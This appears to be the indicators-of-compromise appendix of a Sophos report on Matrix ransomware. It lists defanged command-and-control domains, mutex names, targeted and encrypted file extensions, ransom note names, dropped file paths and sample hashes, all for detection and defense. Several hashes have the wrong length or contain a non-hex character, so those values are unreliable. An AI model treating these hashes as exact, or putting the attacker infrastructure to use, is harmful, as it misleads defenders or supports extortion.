Sophos Endpoint and Intercept X can block Matrix and will detect it and its components as Troj/Matrix*-.
IOCs

Domains

blushing-gasket[.]000webhostapp[.]com
murik[.]xyz
murikos[.]in
fredstat[.]000webhostapp[.]com
jostat[.]000webhostapp[.]com
no7654324wesdfghgfds[.]000webhostapp[.]com
fb[.]mygoodsday[.]org
eman[.]mygoodsday[.]org
jostat[.]mygoodsday[.]org
third[.]mygoodsday[.]org
mai-hoand[.]000webhostapp[.]com
pre[.]mygoodsday[.]org
nobad[.]mygoodsday[.]org
tru[.]mygoodsday[.]org
chef[.]mygoodsday[.]org
jnss[.]mygoodsday[.]org

Figure 33: VirusTotal Graph relationship map between Matrix C2 domains, samples, and IPs show most of the malicious files originated from Netherlands-hosted IP addresses
Matrix: A Low-Key Targeted Ransomware

**Mutex names:**

- OurMainMutex999, OurMainMutex999net
- MutexAnon, MutexAnonDONW
- MutexCore, MutexCoreDONW
- MutexFox, MutexFoxDONW
- MutexANN, MutexANNDONW
- MutexKok, MutexKokDONW
- MutexKOK08, MutexKOK08DONW
- MutexNEWRAR, MutexNEWRARDONW
- MutexFASTBOB, MutexFASTBOBDONW
- MutexEMAN, MutexEMANDONW
- MutexTHDA, MutexTHADONW
- MutexRAD, MutexRADDONW
- MutexEMANSO, MutexEMANSODONW
- MutexGMPF, MutexGMPFDONW
- MutexATOM, MutexATOMDONW
- MutexNOBAD, MutexNOBADDONW
- MutexTRU8, MutexTRU8DONW
- MutexCHE808, MutexCHE808DONW
- MutexFASTA, MutexFASTADONW
- MutexJNSS, MutexJNSSDONW
- MutexFASTBK, MutexFASTBKDONW
- MutexFBK, MutexFBKDONW

**Targeted Extension list**

- mdf, ndf, ldf, myd, eql, sql, fdb, vhd, sqlite, sqlite3, sqldump, bak, tib, dbs, db, dbk, db2, db3, dbc, xls, xlsx, xls, pst, vpd, cer, cert, csr, pem, key, 1cd, dt, dbs, dbf, dbx, mdb, sdf, ndf, ns2, ns3, ns4, nsf, accdb, docx, doc, dwg, cdr, ods, odt, pdf, txt, jpg, jpeg, psd, zip, rar, 7z

**Encrypted file extensions**

- [.barboza40@yahoo.com]
- [.Linersmik@naver.com][Jinnyg@tutanota.com]
- [.poluz@tutanota.com]
- [.Yourencrypt@tutanota.com]
- [.Files4463@tuta.io]
- [.RestoreFile@tutanota.com]
- [.RestoreFile@qq.com]
- [.oken@tutanota.com]
- [.Vfemacry@mail-on.us]
- [.MTXLOCK]
- [.d33366666@tutanota.com]
- [.ANN]
- [.CORE.[Bitmine8@tutanota.com]
- [.FOX]
- [.KOK8]
- [.KOK08]
- [.NEWRAR]
- [.FASTBOB]
- [.FASTB]
Matrix: A Low-Key Targeted Ransomware

.EMAN
.THDA
.RAD
.EMAN50
.GMPF
.ATOM
.NOBAD
.TRU8
.FASTA
.JNSS
.FBK

**Readme files**

!ReadMe_How_To_Decrypt_Files!.rtf
!ReadMe_To_Decrypt_Files!.rtf
#What_Wrong_With_Files#.rtf
#README_ANN#.rtf
#ReadMe_TO_Decrypt_Files.rtf
#CORE_README#.rtf
#ANN_README#.rtf
#KOK8_README#.rtf
#FOX_README#.rtf
#KOK08_README#.rtf
#_#FASTBOB_README#.rtf
#NEWRAR_README#.rtf
!README_FASTBOB!.rtf
#README_EMAN#.rtf
!README_THDA!.rtf
#_#RAD_README#.rtf
#README_EMAN50#.rtf
!!!README_GMPF!!!.rtf
#Decrypt_files_ReadMe#.rtf
!README_ATOM!.rtf
#NOBAD_README#.rtf
!README_KOK08!.rtf
!README_TRU8!.rtf
#README_FASTA#.rtf
!README_JNSS!.rtf
#_#README_FAST#.rtf
!README_FBK!.rtf
Dropped file naming conventions

XXXXXXXX.exe (1,614 KB) – A copy of the original sample [this is executed with "-n" parameter]

XXXXXXXX.cmd (1 KB) – Content of the TAKE resource

XXXXXXXX.cmd (222 KB) – Handle [Sysinternals], content of HX64 or HX86 resource

KEYIDS.KLST (1 KB) – Contains information about the machine, personal id, number of files and file sizes

C:\Users\{username}\AppData\Roaming\Decrypt_files_ReadMe#.rtf (20 KB) – Ransom note

C:\Users\{username}\AppData\Roaming\XXXXXXXXXXXXXXX.vbs [1 KB] – Content of the WVBS resource

C:\Users\{username}\AppData\Roaming\XXXXXXXXXXXXXXX.jpg (40 KB) – The wallpaper; content of the WALL resource

C:\Users\{username}\AppData\Roaming\XXXXXXXXXXXXXXX.cmd [1 KB] – In order to use cipher.exe

(X: can be a-z, A-Z, 0-9)

Sample hashes (SHA-256)

13c0fd18c602dd6aa71d7807ad617cf24bf2366a12c8c3f2f278f301f5c
9d6baee99c2617547f5i4c5c71cee857ae7e7ca78a82150b90bba51859703
6044a92189f1df1f874f93e27ef656d78a0c9e4f97b8c98e4e5d823612fb04b
[decryption tool]
2a12eeb5a0ca2a3e9cd1dbbf1752086ee19387c4aae01232ee63cbf6d2c80a
980249a08809999f10a75ae5222a9a0a607c0702939304bdc3b340e4bb72b0e
864c546875456e6bf5d5c8b013130f80457c5fd5db695ace6378222b86b7e7c
e21727d6c76892c29610e236cc52f0fe438f935bfed338ea1af5c855e8462
a260c886b6f45b0720f945e43d7feebd98cfc505312d0a2a2b0437d25e3a
47e30119daa1f3d28ee9fb3a7c7d93f6193c097e7a6ac5593937e1f95d4a4bb9b
6d7c1e933f98049358ae847f47075c9a7cca5c45f0433feb1f0efac94a048297
3e3d8d0b07f1587a079e60b4fd960757aadc6414d51866c16995c5205c57e9f
0fb0d7ce06f3fda1e9f383da25ef0da2c8219b631a74f5d5258905f3e3dec13
ed28cb4a0861297628275db21a791d972cfff9d495e51d0f82289ecaeb6c0b42
996e85f12a1e78267c32ce49ad20c0ff4115182e707153006127011fbe3c9
655855e39e325238153e5c4f4aa393834c70b66b8197a7d3a0152d28a597604f2d
b2a83c5e7c7aca7e8b561703e0127c7c4837b9a6289649136916c64613cc6f52484
9984b03be3a35419e0b626d7f77963904ce14d7c9e38876d5630cf72700a827e4
f4285f2f2810261fc400d124c64ba768ca5dac4e217be155999dec113cb420
65e3cf1c68e241540618f31d9d79694ef4970943bfa2146839e68a78f671f8b
5777777777d6d79ee55f51b60d10cb17a4ac903f0c267e740e3db429a7316f47e84
e9e4cf0a08ba2dbecfe4a024362a0f5542e410ea30c9a6b6f6cd3368072c8bf1
ea946a6af8dfbf7c3a8ca0ab623733f3ca0f9ae52efdc3e60f6591c6b104e75
365957671a1e60320281d92978849ba56d07eb394816e5547da63ccafa87981ee
5b155f40a24d127de6e2fbbf4f68a4035d2c3a4233af5a8f2c7184da8e391077b
8fcee957e88d61a502691591362e10635186d2d4942a624a08f76a0eceb2752c50
690c50a25d62f69a398c5e62418677890612bb947259cf83e0426e0c17770c103
e7bc5f66e4014786c289188bdf6e5d46a6786f6facbec424134780ea2f7e25
a23d3caeed5e69dc9ef72e6988500fd1dd4f66b9af426d358c64f949a4bab7a
c63b6c6e9df080da582972192ece021786ebcc5f6537219bd75da24ba20459760
Matrix: A Low-Key Targeted Ransomware

Acknowledgments

The report authors would like to thank the following individuals or groups for their contribution to this report:

Gabor Szappanos and Balázs Vágó, SophosLabs

Virustotal.com

The steering and speaker committees of the BlackHoodie reverse engineering conference (www.blackhoodie.re)